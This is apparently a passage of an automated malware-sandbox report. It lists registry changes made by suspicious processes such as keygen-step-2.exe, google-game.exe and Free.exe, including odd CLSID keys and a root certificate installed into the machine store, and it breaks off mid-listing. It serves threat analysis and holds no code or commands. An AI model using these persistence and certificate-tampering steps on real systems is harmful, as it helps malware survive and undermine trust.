app.exeapp.exesvchost.exesvchost.exefilee.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time" app.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" app.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\PegasPc filee.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" app.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs app.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exegoogle-game.exeMicrosoftEdge.exeMicrosoftEdgeCP.exesvchost.exerundll32.exeA556.exeFree.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exerundll32.exegoogle-game.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\"" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\InprocHandler32\ = "ole32.dll" google-game.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{4C8B34D5-9212-457B-BBCF-4D833B162A90} = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S} svchost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K} rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" A556.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 010000008d6764671ddc21ac577a8c8e76ab531465f418ffa185e880e28dcbd11e411d4674c367b6666839b78ff560539fd966a8a6888cdf1c68d042f8052fb4437a5d2129386fa7aea9e83db1518210b329a718096e82405ffa35f600ca MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "5" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings MicrosoftEdgeCP.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K}\1 = "28" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Unicode.Application\CLSID\ = "{509A7326-C45B-477E-A151-3036316530DC}" Free.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{WW6060MI-ED3Y-MI7M-57W2-EJZ5M77G1X0K}\1 = "4952" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" A556.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 5dda850eae36d701 A556.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Unicode.Application\CLSID Free.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = a67eb708ae36d701 MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Unicode.Application\CLSID google-game.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Extensible Cache MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{D4022690-6438-428D-9DFF-6C7B2E81914C}" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\ProgID\ = "Unicode.Application" Free.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{TV2553ZI-PZ3Y-VP7M-68Y0-MJT9X67Z6U7M} rundll32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\ProgID\ = "Unicode.Application" google-game.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\ProgID Free.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "{466324C2-E66E-4E88-A5F7-0513B79DCE1D}" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe -
Processes:
keygen-step-2.exeF2F2.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 keygen-step-2.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5